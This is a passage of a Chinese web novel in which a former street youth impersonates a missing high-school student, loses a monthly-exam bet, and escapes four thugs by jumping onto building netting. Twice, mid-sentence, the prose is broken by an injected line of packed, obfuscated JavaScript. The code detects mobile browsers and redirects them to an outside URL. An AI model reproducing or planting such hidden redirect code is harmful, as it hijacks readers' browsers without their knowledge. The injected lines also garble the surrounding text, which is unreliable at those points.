班主任嘴上说得极其严厉,眼神却不停看向自己桌上还没吃完的麻辣烫。 于浩宁脸上一丝血色也无,起身就准备走。 汤振仍坐在塑料板凳上,仰起头,语气里带着几分恳求:“老师,我弟今天生日……能否通融一下,让我们把蛋糕吃完?” “全班这么多人,每人生日都要翻墙出来吃蛋糕吗?还想让我通融你们。”班主任严厉道。 “好吧,老师,对不起,确实是我的错。”汤振复又低头道。 班主任深吸了一口气,左右看了看,见没人注意他们,突然换上了一副无奈的表情,压低了声音道: “算了,既然你承认错误这么积极,今天又是浩宁的生日,那我就不惩罚你们了吧,就当是送了一个特别的生日礼物。” 汤振大为震惊,不敢相信自己的耳朵,于浩宁也一脸没反应过来的表情,看向班主任。 班主任理了理额侧的发丝,清了清嗓子道:“呃……只不过,想要让我放过你们,也是有条件的,你们不许告诉任何人我今晚在学校外面来吃东西。” 汤振满脸狐疑,随后又幡然醒悟的样子,拖长了声音道:“哦!老师,您该不会也是翘班来吃麻辣烫吧?” “嘘!”班主任翻了个白眼,“咳咳,说好了,今晚的事,谁也不许说出去!” “明白!”汤振积极答道。 “行了,”班主任佯怒道:“但你们翘课这事儿,下不为例!如果再让我抓到,就加上这次,两罪并罚!” “好的,老师,坚决没有下次。”汤振憋笑保证道。 “那就吃快点,十分钟之内解决战斗!”班主任看了看手机,催促道。 三人之间的气氛缓和了下来,在这个充满烟火气的街道里,他们仿佛不再是关系紧张的师生,更像是一起犯了错的同谋。 于浩宁紧绷的神色也放松了下来。 汤振看着旁边这位刚毕业不久的年轻老师,突然觉得她其实也只是一个大点的孩子。 十分钟后,三人风卷残云地扫光了各自桌上的食物。 站起身准备回学校时,汤振看了一眼班主任那桌吃得干干净的麻辣烫,眉头微微皱了一下。 “老师,”汤振的脸色变得认真起来,“虽然刚才跟您开玩笑,但说真的,您现在刚怀孕两个月,出来吃东西什么的,还是要注意一点。” 班主任愣了一下,任由夜风吹拂着额前的发丝,看着汤振那双显得有些深邃的眼睛,忍不住笑了一下。 “行了,少管大人的事,”班主任又收起了笑容,把丝巾重新围在脖子上,平静道:“这家店每个月的卫生评级都是A级,放心吧。” 说完,班主任便带着汤振和于浩宁,像做贼一样,沿着街道的阴影,朝着学校的方向快步走去。 走在后面的汤振伸手拍了拍于浩宁的肩膀,低声道:“生日快乐哦。” 于浩宁回头看了一眼,在漆黑的夜色中,勉强地挤出了一个笑脸,“谢谢哥。” 月亮从云层后面露了出来,将眼前的柏油路照得微微发光,两旁的榕树在细风中轻微作响,灯火通明的街道已被三人甩在身后。 14. 第一次月考 被班主任从校外抓回教室后,汤振和于浩宁便老老实实地上完了第二节晚自习。 浥鸣县的街道也在晚自习下课后逐渐热闹起来,一些比较狭窄的路段已经开始堵车,汽车偶尔的鸣笛掺杂在学生们的嬉笑打闹声中。 许艺岚开着车,堵在一条不宽不窄的路上,龟速驾驶,车内没有放音乐,车载蓝牙里传来下属唯唯诺诺的汇报声: “许经理,供应商那边说,材料下周一还是进不来,项目进度可能又要往后推……” “我不想听可能性,我要的是解决方案,”许艺岚猛地踩了一脚刹车,在红绿灯前停下,双手死死捏着方向盘,“如果他们下周交不出货,就按违约条款走法务程序吧。有些事情有流程,你们就自己做主,公司花钱雇你们是为了解决麻烦的,不是转述麻烦的。” “好的,经理……” 听完,许艺岚烦躁地切断了通话,疲惫地靠在椅背上,右手握着方向盘,左手揉压着太阳穴。 红绿灯的倒计时在汽车挡风玻璃上闪烁,许艺岚侧过头,看了一眼副驾驶座位上包装精美的生日蛋糕礼盒,又看了看手机屏幕显示的“21:30”。 轿车驶入车位。 许艺岚推开家门时,客厅里的挂钟刚好指向10点。 汤振和于浩宁此刻正坐在卧室里各自的书桌前,拿着教辅资料复习。 “妈,你回来了。”于浩宁站起身,打开卧室门,朝客厅喊道。 许艺岚脱下皮鞋,将手里的蛋糕盒放在茶几上,脸上的疲倦浓重得像化不开的墨,“浩宁,生日快乐。今天公司事情太多,妈实在抽不开身陪你吃晚饭,这是给你订的蛋糕。” 茶几上的那个蛋糕,比刚才翘课吃的蛋糕精美数倍。 于浩宁走上前笑道:“谢谢妈,你工作辛苦了。” 许艺岚叹了口气,在沙发上坐下,目光看向了刚从卧室出来的汤振。 “浩磊,你这二十多天在学校还适应吗?”许艺岚的声音里带着一种疲惫感。 汤振立刻摆出认真而欣喜的脸色,“挺好的,妈。老师和同学都很照顾我。” “那就好,那就好”许艺岚揉了揉眉心,“你停了一年,重新开始,压力肯定大。不过你底子在,只要静下心来,考你想考的平州大学肯定没问题,做你喜欢的工作,别像妈妈这样,天天跟这些供应商算计来算计去,太累了。” 汤振点点头,“是,我一定努力学习。” “过来吃蛋糕吧,去年因为你失踪了,都没有好好给浩宁过生日,”许艺岚略显打趣地说道:“今年浩磊的生日也买个大蛋糕吧。” 汤振不好意思地笑道:“哈哈,再说吧,还早得很呢……” 话音未落,许艺岚便看向了汤振。 汤振连忙闭嘴,心里直想着:悔之,悔之!一时嘴快,竟然习惯性想到自己的生日了,于浩磊的生日和于浩宁相差不远,自己恐怕又引起许艺岚的怀疑了。 汤振和于浩宁都在彼此的眼里看到了一丝慌乱。 于浩宁连忙解释道:“还有十多天呢,早得很。” 许艺岚的眼神意味深长,慈爱地笑道:“哪里早了,十多天,很快的。” “没事儿,妈,”汤振笑道:“您工作这么忙,不用刻意去给我买蛋糕,而且十几天之内吃两次也会腻不是?” 于浩宁终于开口道:“妈,今晚这个蛋糕每人吃一小块就够了,我们晚上已经在……在食堂吃得太撑了,只吃一小块,剩下的明天留着当早饭吃。” “好吧,也行,你们吃完早点睡,妈妈还要处理一点工作上的事情。”许艺岚说完,便拿着公文包,坐到了于强身边,又将笔记本电脑放在桌上,开始继续忙起了工作。 于浩宁给汤振使了使眼色,汤振便朝许艺岚道:“妈,快月考了,我和浩宁先回房间复习了。” 许艺岚点了点头,复又投入到工作中去。 深夜,乌云蔽月。 卧室房门紧闭,两兄弟坐在各自的书桌前,气氛压抑得让人喘不过气。 “好险,你刚才又差点露馅儿了,”于浩宁压低声音,手指却在桌面上敲得砰砰响,“你要潜意识里把自己当成我哥。” 汤振抹了一把额头上的汗,“有时候还是控制不住,会下意识脱口而出。” “没事儿,这才不到两个月,慢慢来。就是要注意,我妈捕捉细节的能力还是强的。”于浩宁放缓了语气。 汤振话锋一转,“你有没有发现,虽然你妈捕捉细节的能力很强,但她其实也不是很了解你哥?” “是吗?”于浩宁皱眉。 汤振看着天花板思考,悄声道:“我感觉妈只知道你哥的一些标签,比如想考哪所大学,喜欢吃什么菜,但她不知道你哥在学校里到底是个什么样的人,心里怎么想,甚至不知道他失踪那天为什么要出门,去了哪里,又和谁在一起……是不是你哥和家里沟通得太少了?” 于浩宁听得出神,默默点了点头,“我哥失踪前,我爸妈确实很少关注我俩,不过我也理解啦,他们的工作真的很忙。” 汤振停顿了一下,转头盯着于浩宁,“你……你哥在学校里,有他暗恋的女孩或者暗恋他的女孩吗?又或者是像申雅丽那样跟他走得比较近的?” “我也不知道,”于浩宁愣神片刻,声音略显干涩:“他比我大两级,他上高一的时候我才上初二,跟他也不是同一所学校。平时在家里,他也总爱一个人看书,跟家里人在一起聊天的时间其实并没有很多。” 卧室里的静谧让汤振觉得倍感压力,一时间也不知是该安慰还是该保持沉默。 “行了,别想了,”汤振走过去拍了拍于浩宁的肩膀,打破了沉闷的氛围,“先把眼前的难关过了吧,下周就是高中的第一次月考,你不是说如果我考得太差也容易露馅儿嘛?” 于浩宁深吸了一口气,翻开桌上厚厚的辅导书,重重拍在汤振面前,“对,你虽然有些科目你靠背诵蒙混过了关,但有些科目还是以理解为主的。从今天起,我每天晚上给你补习。” 汤振看着那本密密麻麻全是公式的辅导书,低低嚎了一声,无精打采地拿起了笔。 不过半小时,面前的草稿纸上已经没有了能够落笔的地方。 “你看这道求集合的题,”于浩宁用红笔在纸上画了一个图,“若a等于2,求A集合中的所有元素。这道题你看看应该先怎么做,再怎么做。” 汤振睡眼惺忪地在草稿纸上龙飞凤舞演算了三分钟,满脸失落地看向于浩宁,“不知道,就只算出来了a等于2。” 于浩宁面无表情地看着草稿纸,又看了看汤振,叹了口气。 “a等于2应该没算错吧?”汤振不服气地问。 “没算错,但你是睡着了吗?算了三分钟,把题目给出的已知条件算出来了。”于浩宁无奈道。 汤振将草稿纸揉成一团,趴在了桌子上,“自己算出来的已知条件,用着放心。” “算了算了,”于浩宁安慰道:“今天先到这里吧,今晚又是翻墙又是差点露馅儿的,你也累了。只不过……我看你跟丁航的月考之约是输定了,准备好一个月内作业加倍吧。” 提到丁航,汤振心里并没有太担忧:虽然自己理科不太擅长,但看人的眼光一般不会错,丁航上课的一大爱好就是玩手机,他能考出什么好成绩么? “除了月考,好像还有个麻烦事,”汤振往椅背上一靠,双手枕在脑后道:“申雅丽,就是那个年级第二,迎新晚会那天,她说为了感谢我,月考之后要请我吃饭。” 于浩宁瞪大了双眼,“单独请你吃饭?” 汤振脸色一怔,“注意你的措词,是请于浩磊,不是请我,人家这叫知恩图报。” “那个学姐该不会喜欢你……不不不,该不会是喜欢我哥吧,难怪你刚才问我了不了解我哥和同学的关系。”于浩宁若有所思地说道。 “这我真看不太出来。”汤振摇了摇头。 “那你怎么说的?” “我能怎么说,”汤振无奈道:“人家态度很诚恳的,又是个比较文静的女生,我要是直接拒绝,显得于浩磊多不近人情啊,所以我答应了。” 于浩宁翻了个白眼,没有回话。 汤振撑着下巴,朝于浩宁眨了眨眼,“要不,到时候你跟我一起去?就说弟弟也想蹭顿饭。” “请允许我拒绝一下,”于浩宁无语地看着汤振道:“人家请你吃饭,我厚脸皮跟着去?我觉得这种事还是更符合你的风格。” “那怎么办,”汤振烦躁地挠了挠头皮,“我在街头跟人谈判都没这么心虚过,那个申雅丽以前肯定跟你哥经常有交流,万一吃饭的时候,她深情款款地问我还记不记得去年在图书馆读的那首泰戈尔的诗,那我怎么回复?万一聊天聊劈叉了,我的身份照样容易暴露。” 于浩宁忍俊不禁地看着汤振,笑道:“你不是有创伤后应激障碍吗,还担心什么?先把集合和函数搞定再说吧,泰戈尔可救不了你的月考。” “好啦,那我就再坚持一下,你再讲讲这道题……” “这道题也不难,重点是要算出……” 这晚,两人卧室的灯光很晚才熄灭,成了整条街关灯最晚的一间房。 整整一个星期的时间,时间都围绕着学习和复习紧张地滚动。 9月29日早晨。 浥鸣二中的初一和高一年级都迎来了入学后的首次月考,汤振和丁航的月考之约也正式拉开了帷幕。 由于是开学以来的第一次大考,初一高一年级还没有按照成绩进行考场排名,高一3班的学生被随机打乱,分进了本楼层的两个考场里,每个考场严格限制30人,单人单桌。 而汤振和丁航,自然也就很不意外地被分在了同一个考场。汤振坐在教室右侧靠窗的第四排,丁航坐在他左后方。 上午第一堂,考语文。 考场里弥漫着一种令 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17575467|205002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人窒息的安静,只有笔尖在试卷上摩擦的声音,空气中飘浮着打印墨水的味道和微不可查的汗味。 汤振艰难地对付着那些阅读题,这几天被于浩宁训练出来的答题套路,他像挤牙膏一样往卷子上填。 距离考试结束还有半个小时。 突然,安静的考场里响起“哗”的一声。 丁航极其嚣张地把试卷翻回第一页,然后将黑色的签字笔重重地拍在桌面上,夸张地伸了个懒腰,骨节发出“咔咔”的声响。 监考老师皱着眉头看了丁航一眼,“做完了就仔细检查,别影响其他同学。” 丁航似乎并未多加理会,他站起身,拿起试卷,大摇大摆地向讲台走去,在经过汤振座位旁边的过道时,丁航故意放慢了脚步,微微低下头,用一种轻蔑挑衅的眼神盯着汤振那张还有大半片空白的卷子,嘴角勾起一抹嘲讽的冷笑。 汤振捏着笔的手指瞬间收紧,亦抬眉望向丁航。 “咳咳!” 斜后方突然传来两声刻意的咳嗽。 余光一扫,汤振看到坐在他斜后方的于浩宁正用坚定的目光盯着自己,同时慢慢摇着脑袋。 汤振深吸一口气,强行将快要溢出喉咙的戾气咽了下去,注视着丁航,只见丁航将试卷交到讲台上,然后双手插兜,极其嚣张地走出了考场。 月考的两天,无论是什么科目,丁航无一例外,全都能提前交卷,每一次交卷,他都会在汤振面前上演一出“实力碾压”的轻蔑戏码。 而汤振,每一科都像是在硬撑一般,一直写到收卷铃响。 两天的考试结束后,又是两天的等待成绩的时间。 10月3日上午,阳光终于穿透阴霾,照在高一3班教室的黑板上。 今天是入学以来第一次月考成绩公布的日子,教室里的气氛凝重得像是一座即将喷发的火山,有人屏住呼吸,有人眼神激动,都紧紧盯着班主任,目光从教室外跟着她移到教室内,最终停在她手中的成绩单上。 班主任今天看上去却没有开玩笑的心情,她拿着那张打印着全班排名的A4纸,神态严肃而认真。 “这次月考,是我们升入高中的第一次摸底。有些人的成绩,让我大跌眼镜;而有些人的成绩,让我刮目相看。” 班主任的目光在全班扫视了一圈: “班长江悦,全班第一,年级排名第5,发挥不错,希望能够继续保持。” 班长双手平放于课桌上,只微微笑了笑,颔首示意。 “沈言峰,全班第二,年级排名26。从年级上看,咱们班第一名和第二名的差距还是挺大的。” “丁航,”班主任顿了一下,看向那个有些坐没坐相的男生,“丁航全班第三,年级排名35。” 话音刚落,班级里便响起了轻微的议论声和低低的惊呼。也有人在感叹,说丁航虽然中考考得差,但从初二开始平时成绩就一直很好,所以这次月考拿下全班第三,也不意外。 丁航得意洋洋地往椅背上一靠,微微昂着头,斜眼看着左手边的汤振。 汤振眉头紧锁,虽然和丁航隔着一个过道,但也能明显感到丁航那挑衅的目光。 “于浩宁,全班第四……”班主任继续念道。 念完全班前九名,班主任的声音突然拔高了八度,带着毫不掩饰的失望和怒火:“于浩磊,你给我站起来!” 全场的目光又瞬间转向汤振。 汤振抿着嘴,缓缓站起身。 班主任把成绩单重重地拍在讲台上,“于浩磊,你停学一年复学,这些高一的知识你都算是学第二遍了。结果呢?才考班上第10名,年级排名掉到了一百开外!” 汤振心里苦恼:对于他自己而言,一个初中毕业两三年的街头混混,靠着一个月的突击,能考到班级班级第10名,已经足以体现自己的努力了,只可惜在别人的认知里,他是当年的学霸于浩磊。 汤振低着头,一言不发。 “还记得你们之前说好的吗,”班主任冷酷地宣布着处罚结果:“你俩谁考得差,一个月内作业加倍。于浩磊,从今天起,往后的一个月,你,所有的数学作业加一倍!明天把多出来的练习册给我交到办公室。” 说完,班主任又从包里拿出那部看着眼熟的手机,“老师也说到做到。丁航,上来拿你的手机,以后不许再带到学校来了。” “好,谢谢老师。”丁航答完,便在一众羡慕的目光中,大摇大摆地走上讲台,从班主任手里接过那部手机,在手里掂了掂,走下讲台时,还不忘再轻笑着瞥一眼汤振。 汤振内心比刚才平静了不少,呼吸也没有丝毫变化,只是用那双幽深的眼睛看了丁航很久。 上课铃声响起,班主任将考试成绩贴在墙上后,便离开了教室。 所有人齐刷刷地拿出了下一堂课要用的书,似乎刚才还在为公布考试成绩而激动,现在已经如同机器人一般,将大脑切换到了课前准备中。 15. 街头围堵 公布月考成绩这天的傍晚,申雅丽如约而至,要请汤振吃饭。 因为今天正好是星期五,照例没有晚自习,随着放学铃声响起,紧绷了几天的月考高压终于在校园里烟消云散。 浥鸣二中附近的一家餐厅里,学生比平时略少,少数周末不回家的住校生在这里吃晚餐。 汤振坐在靠墙的位置,手里紧握着筷子,后背挺得笔直,脸上挂着无懈可击的温和微笑,右腿却闲不住上下抖动。 吃了大约半小时,桌上的三盘菜也快见底了。 坐在对面的申雅丽规规矩矩地穿着校服,浅浅喝着一杯果汁,汤振为了不暴露自己,也放弃了爱喝的牛奶,拿着一杯和申雅丽手中的一模一样的果汁。 一顿饭下来,汤振基本在抱怨自己第一次月考考得多么差劲,一直在向申雅丽询问学习经验,“我总觉得,我失踪的这一年,忘了很多事情。可能真的受了太大打击了,连那些知识点也忘得一干二净……” 汤振说得以假乱真,连他自己都快信了。 申雅丽眼里现出一丝心疼的共情,“没事儿,慢慢来,你就当自己没有学过。平时有什么不懂的,都可以来问我,正好我们也刚开始高三总复习。” 接下来的十分钟,汤振便尽量将话题往日常方向引导,完美地避开了聊以前班上的事儿。 将近傍晚七点,两人付了饭钱,走出了饭店,任由轻微的寒风迎面扑到脸上。 汤振贪婪地呼吸了几口街道上的烟火气,仿佛刚在水底憋了很久的气。 两人在路边寒暄一阵,对面传来于浩宁的声音: “哥!” 街道对面的公交站牌下,于浩宁冲汤振挥了挥手。 “我弟非要来接我,”汤振看着申雅丽笑了笑,“那我先回去了,你路上也注意安全啊。” 道了别,汤振看着申雅丽上了公交车,才如释重负地穿过马路,走到于浩宁身边。 “怎么样,没被看出来什么吧?”于浩宁压低声音问。 “当然是没露馅儿,”汤振神色又得意起来,“走吧,老规矩,抄近道回家。星期五没晚自习,街上的学生是比平时少了点儿。” 两人闲聊着,拐进了一条正在进行老城区改造的巷子,从这里顺着堡坎走,经过一个天桥,可以穿到一栋居民楼的第六层,下去之后,便是主干道。 巷子里采光极差,两旁的旧楼墙壁上贴满了“拆”字,微卷起地上的落叶,发出枯燥的响声。 走着走着,汤振的脚步突然慢了下来,神经紧绷,右手不自觉地摸向了裤兜里的钥匙串。 “怎么了?”于浩宁疑惑地回过头,准备继续往前走。 “回来,浩宁,我们今天走外面的大路。”汤振的声音瞬间低沉。 就在这时,前方拐角处晃晃悠悠走出两个留着短发,穿着深褐色夹克的青年,脸上戴着黑色口罩和墨镜,而在汤振和于浩宁的身后,也无声无息地出现了另外两个人。 四人前后围堵着,手里虽然没抄什么家伙,但那种混迹街头的痞气,似乎能隔着墨镜直击汤振内心。 “这就是失踪回归的学霸于浩磊啊,”带头的男生上下打量了一番汤振,冷笑了一声:“看着也不像什么硬茬。” 于浩宁的喉结上下动了一动,后退两步,抓住了汤振的右臂。 汤振右手紧紧握住裤兜里的钥匙,眼神像狼一样在四个人身上扫过,试图评估着双方的战力。 “几位,认错人了吧,”汤振扯了扯嘴角,语气里带着几分江湖气:“我们就是普通高中生,身上没带几个钱。” “钱就不必了,”为首的男生逼近两步,用手指重重点了点汤振的胸口,压低声音警告:“有人让我们哥几个给你提个醒,以后在学校里老实点,不要多管闲事。别人的东西,你少伸手,懂吗?” 汤振的大脑飞速运转:当然不懂!自己最近在学校里很“不老实”吗?尽管努力在大脑中搜索最近在学校做过的事情,却依然想不出来自己到底管过什么“闲事”。对方莫非指的是自己和丁航产生的那些过节么,难道是丁航派人来警告自己? 对面四人逐步逼近,留给汤振思考的时间并不多。 “规矩我懂,”汤振来不及细想,只好点了点头,看着对方逐渐逼近的脚步,眼神突然变得凌厉无比,话锋一转:“但我不喜欢别人这么跟我讲话。” 话音未落,汤振迅速抄出手里的那串钥匙,紧握在手中,猛地朝着为首男生的锁骨刺了过去。 那男生惨叫一声,捂着锁骨后退,摔在了地上,但口罩和墨镜仍稳稳地焊在脸上,看不清究竟是谁。 “快跑,浩宁!” 汤振以掩耳不及盗铃之势拉上于浩宁,用力将他往右边那条通往堡坎的巷子一推,自己又一脚踹翻了另一个扑上来的男生,然后放倒了旁边的梯子,挡在了窄路中间。 “给我弄死他!”被汤振踹翻的男生捂着胸口,气急败坏地怒吼。 两人在错综复杂的老旧巷子里狂奔,风在耳边呼啸,如刀划过。 汤振催促着于浩宁继续朝前面跑,自己时不时回头看那四个人是否追了上来。 “往左拐,浩宁!”汤振在后面大喊。 天色逐渐变暗,两人猛地拐进一条灯光稍微明亮的窄巷。然而,刚跑了不到二十米,于浩宁就停下了脚步,回过头看向汤振,眼神里满是绝望。 “怎么停下来了?”汤振问道,连忙刹车,差点撞到于浩宁。 眼前的景象让汤振心如死灰,这是一条死路,路的尽头是悬崖,离地面足足有四层楼高,借着傍晚的余晖从这里望下去,格外幽深。 断头路的对面,是一栋八层高的居民楼,路的尽头隔空对着四楼的楼道,中间隔着三米远。这条路若是修好了,便会有空中连廊通往四楼楼道,只是现在还未完工。 汤振原本想奋力一跃,跳进四楼的楼道,但这一片区刚好在进行外墙翻新,楼外面覆盖着一层绿色的建筑防护网,根本跳不进去。 背后急促的脚步声和咒骂声越来越近,汤振的心越来越紧。 “哥……没路了。”于浩宁声音轻微颤抖,但神色仍然镇定。 汤振咬了咬牙,目光死死锁定在那栋烂尾楼外墙的绿色防护网上,回想起以前在街头被各种人追击的时候,比这更绝望的路他都走过。 防护网严严实实地围着居民楼,和外墙隔着一米的距离,以方便工人重新粉刷外墙面。 汤振用坚定的目光在防护网和断头路之间来回计算,自己和防护网相隔大约两米,只是中间隔着四层楼高的沟壑。 “上来,我背你!”汤振半蹲了下来,做出一个冲刺的姿势,背对着于浩宁。 “什么?” “上来,就像那天晚自习踩着我翻墙一样。”汤振吼道。 于浩宁一咬牙,扑到了汤振的背上,双手紧紧环绕着汤振的脖子。 “抱紧了,闭上眼睛,无论发生什么都别松手!”汤振叮嘱道。 四个追兵已经出现在巷子口,为首的男生看到无路可逃的两人,露出了一得意的讥讽:“哈哈哈,继续跑啊,我看你们今晚能飞上天不!” 汤振没有理会他们,背着于浩宁,毫不犹豫朝悬崖那一端快速冲了过去。 “抓稳了,浩宁!” 汤振迅速冲出了道路尽头,身体悬在了半空中,像是从枪口打出的子弹,在空中画出一道弧线,瞬间的失重感顿时包裹了两人。 就在身体呈抛物线下坠的同时,两人朝着对面的居民楼撞去,汤振坚定地伸出双手,像铁钳一样,死死地抓住了楼房外墙那层粗糙的绿色防护网。 “呲”的一声,防护网竟被硬生生从中间撕裂开来。 重力拉着汤振和于浩宁,沿着断裂的防护网一路向下滑行。 汤振的双手死死握紧防护网,粗糙得像砂纸一样的防护网摩擦着他的掌心,火烧一般的剧痛钻心刺骨地袭来,但汤振一声未吭,双腿紧紧夹住,控制着下坠的速度。 “你的腿,夹紧我的腰!”汤振朝于浩宁叮嘱道。 巷口的四人见汤振从道路尽头直接跳了下去,神色一惊,急忙冲向道路尽头,看着像跳楼机一样顺着防护网滑向底部的两人,倒吸了一口凉气。 “老大,我,我们还追吗?”旁边一个稍矮的男生问道。 四人站在道路尽头,伸着脖子望向底下黑漆漆的一片,只能模糊的看到汤振和于浩宁下降的影子。 “追个屁!他不要命,你也不要命了吗?”为首的男生啐了一口唾沫,转过身,挥了挥手道:“给完教训就够了,咱们撤!” 几秒钟后。 “咚”的一声闷响,汤振的双脚终于踩到了坚实的水泥地上,他身子一软,连忙抓着于浩宁的小腿,将他从背上放了下来,随后双手撑在地上,大口大口地喘着粗气,额头上的汗珠一颗颗滴落下来,在水泥地上浸开。 于浩宁踉跄地从汤振背上下来,扶着旁边的挡土墙,忍不住一阵干呕。 汤振歇息片刻,将自己沉重的躯体撑起,靠着居民楼的墙根,无力地坐在地上,看着刚才自己双手撑过的水泥地上,留着两个鲜红的手掌印。 “你流血了!”于浩宁低吼道,眼里俱是担忧。 汤振低头看了看自己的双手,掌心的疼痛再次袭来。 “走,我带你去买药。”于浩宁擦了擦嘴角,扶着汤振的臂弯,将他从地上慢慢拉了起来。 两人去药店买了药,医生给汤振的双手消完毒后,又用纱布紧紧地缠了几层。 天色越来越暗,两人从药店出来后,星期五晚上的街道已经开始逐渐热闹,来来往往的汽车带着冷风从身边穿行而过。 汤振强颜笑了一下,道:“我没事儿,咱们快回去吧。” 于浩宁拉着汤振的手,自责地看着雪白的纱布,“都怪我,如果只是你一个人滑下去,手肯定不会受这么严重的伤。” 汤振摸了摸于浩宁的后脑勺,打趣道:“你说,我这手受伤了,班主任会不会免去我作业加倍的惩罚啊?” “你还有心情开玩笑,”于浩宁满脸心疼,“还好这周作业提前做完了,要是今天背着书包,咱们刚才该怎么办啊?” 汤振安慰道:“好啦!别想这么多了。咱们沿着大路走回家吧,给妈打个电话,说晚点回去,不然我还不好解释手上的伤呢。” 夜晚,街道上灯火通明,周五晚上的嘈杂声围绕在两人身旁。 “行了,别伤感了,想想回家怎么交代吧。”汤振挥了挥缠着纱布的双手。 于浩宁皱着眉头苦思半天,摇了摇头,无奈道: “可是我只想到了一个馊主意,”于浩宁试探性地开口道:“等会儿你用钥匙开门后,不用管我妈在做什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17575468|205002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么,避开她,直接捂着肚子冲进厕所。” 汤振听得一愣,“然后呢?” “然后你就在里面待半个小时,等我妈睡了,你再出来嘛……” 汤振嘴角抽了两下,“那万一咱妈问我,为什么不去公共厕所,我怎么回答?” 于浩宁所有所思,“那你就说你有洁癖,在外面拉不出来,习惯用家里的马桶。” 汤振瞪大了眼睛,“可是你哥有这习惯吗?” “没有,”于浩宁耸了耸肩,“但我现在也想不出别的借口了。” 汤振看了看自己的双手,深深地叹了口气,和于浩宁继续并肩朝家里走去。 晚上十点,两人站在家门外,犹豫着不敢掏钥匙开门。 汤振对着窗户玻璃看了一眼自己有些狼狈的样子,随后换上了一副极度痛苦表情,已经做好表演急着上厕所了。 于浩宁将钥匙插入锁孔,缓慢转动,门被“吱吖”一声推开。 “哎哟!憋不住了,憋不住了!”汤振双手捂着肚子,弯着腰,像一枚出膛的炮弹一样,直接朝厕所疯狂冲刺过去,尽量不要让许艺岚看清自己的样子。 然而,就在汤振以百米冲刺的速度即将抵达厕所门口时,厕所门突然从里面被拉开了。 穿着睡衣的许艺岚端着一个水盆,从厕所里地走了出来。 “砰——” 刹车不及的汤振,结结实实地撞在了许艺岚手中的水盆上,“哗啦”一声,水泼了一地。 “哎呀,”许艺岚被撞得退后两步,抬眼一看,“浩磊,你干什么慌慌张张的……” 话音未落,许艺岚的目光落在了汤振的脸上,又落在他那双包着纱布的手上。空气在这一刻仿佛也凝固了。 许艺岚的声音瞬间提高了八度:“你手上的伤是怎么回事,你跟人打架了?” 汤振的大脑似乎经历了一瞬间的宕机,心里一横,立刻弯下腰,双手死死捂住肚子,双腿也生动地颤了两下。 “妈,我没打架,我是闹肚子了,”汤振焦急的语气显得十分逼真:“刚才回来的路上跑得太快,不小心摔在地上,把手给磨破了。包扎了一下,没花多少钱。” 汤振一边喊,一边跺着脚,“好了妈,您别问了,快让我进去吧!” 说完,汤振便像一条泥鳅一样,灵活地从许艺岚身边挤进了厕所,“砰”地一声把门关上,顺带反锁了一圈。 门外,许艺岚看着打翻在地的水盆,整个人似乎还未反应过来。 过了片刻,许艺岚才看向一旁的于浩宁,问道:“他说的都是真的吗?着急回来上厕所,摔在地上了?” 于浩宁脸上的自责在这时终于烟消云散,情绪似乎也被汤振感染了,一下子没忍住笑出了声,“对的,对的,妈,哥说的都是真的……哈哈哈。” 洗手间里传来马桶的冲水声,许艺岚又看了看忍不住笑的于浩宁,脸上的表情这才恢复如常,随后重新拿起地上的水盆,朝厨房走了过去。 洗手间里,汤振坐在马桶上,听着门外于浩宁的笑声和许艺岚拖地的声音,长长地呼出一口气。 深夜,万籁俱静。 卧室的房门紧闭着,空气中弥漫着淡淡的碘伏味道。 借着窗外透进的月光,能看到汤振浑身无力地在床上,两只缠着纱布的手放在身体两侧。 于浩宁也躺在房间另一侧的床上,眼底似乎有情绪在剧烈地翻涌。 “这层纱布最起码得缠一个星期,”于浩宁的声音有些沙哑:“今天如果你没有背着我,凭你的身手,绝对可以顺着那张防护网轻松爬下去,根本不用受这么重的伤。” 汤振看着天花板,轻松地苦笑了一声,心里却还是感到一阵后怕:如果那张网破了,如果他最后没抓紧…… “行了,突然这么说,怪肉麻的,”汤振用手肘撑着床板,艰难地坐了起来,看着另一侧的于浩宁道:“我还觉得是我连累了你呢,带你翻墙逃课,带你跟混混打架……都把你带坏了。” 汤振叹了口气,接着说道:“那天你在博学楼说得对,今天那四个混混说的也对,我以后在学校少管闲事比较好,如果不是因为我,今天你也不会卷进来。以后在学校,我还是夹着尾巴做人吧。” 于浩宁侧过身,看着黑暗中汤振模糊不清的脸,不忍道:“谁让你夹着尾巴做人了?” 不等汤振回答,于浩宁的语气又认真了几分,继续解释道:“我一开始确实希望你完美地扮演我哥,但今天我又想着,就算你演得不像,又怎样?你是个活生生的人,有血有肉,有自己的思想……其实,今晚还挺刺激的。” 汤振愣了一阵,忍不住笑了出来,“行,有你这句话,今晚的冒险就没有白费劲。”汤振往后一仰,重新倒回床上。 “不过,以后那条近道,我可不想再走了。”于浩宁的声音听起来心有余悸。 “没事,以后我们就走大路吧,”汤振话锋一转:“对了,你觉得今晚那四个混混,是谁叫来的?能知道我们爱抄那条近道的,多半是学校里的人。” 于浩宁冷哼了一声:“还能有谁?我觉得就是丁航,不知道为什么,从一开学他就和你不对付。” “会是他么,”汤振用裹着纱布的手轻轻敲击着床沿,“如果真是丁航叫的人……行,这笔账先记着吧!” 接近午夜,汤振才渐渐沉入梦境中。 16. 晚自习导火索 星期六和星期天在平稳中度过。 